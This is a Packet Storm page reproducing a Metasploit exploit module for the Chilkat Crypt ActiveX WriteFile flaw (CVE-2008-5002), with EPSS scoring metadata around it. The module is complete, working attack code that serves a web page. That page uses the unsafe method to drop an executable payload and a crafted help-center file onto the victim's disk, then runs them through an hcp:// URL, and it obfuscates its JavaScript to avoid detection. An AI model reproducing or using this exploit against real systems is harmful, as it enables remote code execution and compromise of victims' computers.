Chilkat Crypt ActiveX WriteFile Unsafe Method

2010-03-0500:00:00
shinnai
packetstormsecurity.com
0.749 High
EPSS
Percentile
98.2%
JSON
`##  
# $Id: chilkat_crypt_writefile.rb 8703 2010-03-03 21:17:31Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Chilkat Crypt ActiveX WriteFile Unsafe Method',  
'Description' => %q{  
This module allows attackers to execute code via the 'WriteFile' unsafe method of  
Chilkat Software Inc's Crypt ActiveX control.  
  
This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to  
execute our payload immediately. However, this method requires that the victim user  
be browsing with Administrator. Additionally, this method will not work on newer  
versions of Windows.  
  
NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at  
the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'shinnai', 'jduck' ],  
'Version' => '$Revision: 8703 $',  
'References' =>  
[  
[ 'CVE', '2008-5002' ],  
[ 'OSVDB', '49510' ],  
[ 'BID', '32073' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/6963' ]  
],  
'Payload' =>  
{  
'Space' => 2048  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0))  
  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
  
# Set parameters  
fnname = rand_text_alpha(8+rand(8))  
si_name = "msinfo" # must be this, other names don't seem to work  
exe_name = rand_text_alpha(8+rand(8))  
hcp_path = "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\#{si_name}.htm"  
hcp_url = "hcp:\\x2f\\x2fsystem/sysinfo/#{si_name}.htm"  
exe_path = "C:\\#{exe_name}.exe"  
  
# Generate HCP data  
hcp_data = %Q|<object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>  
<script language='vbscript'>  
compatUI.RunApplication 1, "#{exe_path}", 1  
</script>  
|  
  
# (Re-)Generate the EXE payload  
return if ((p = regenerate_payload(cli)) == nil)  
exe_data = Msf::Util::EXE.to_win32pe(framework,p.encoded)  
  
# Encode variables  
hcp_str = Rex::Text.to_unescape(hcp_data)  
hcp_path.gsub!(/\\/, '\\\\\\\\')  
exe_str = Rex::Text.to_unescape(exe_data)  
exe_path.gsub!(/\\/, '\\\\\\\\')  
  
# Build the final JS  
js = %Q|  
function #{fnname}()  
{  
var my_unescape = unescape;  
var obj = new ActiveXObject("ChilkatCrypt2.ChilkatCrypt2");  
var exe_path = "#{exe_path}";  
var exe_str = "#{exe_str}";  
var exe_data = my_unescape(exe_str);  
obj.WriteFile(exe_path, exe_data);  
var hcp_str = "#{hcp_str}";  
var hcp_data = my_unescape(hcp_str);  
var hcp_path = "#{hcp_path}";  
obj.WriteFile(hcp_path, hcp_data);  
window.location = "#{hcp_url}";  
}  
|  
  
# Obfuscate the javascript  
opts = {  
'Strings' => false, # didn't work in this case  
'Symbols' => {  
'Variables' => %w{ my_unescape obj exe_path exe_str exe_data hcp_str hcp_data hcp_path }  
}  
}  
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)  
js.obfuscate()  
  
# Build the final HTML  
content = %Q|<html>  
<head>  
<script language=javascript>  
#{js}  
</script>  
</head>  
<body onload="#{fnname}()">  
Please wait...  
</body>  
</html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
send_response_html(cli, content)  
  
handler(cli)  
  
end  
  
end  
`
0.749 High
EPSS
Percentile
98.2%
JSON
Related for PACKETSTORM:86917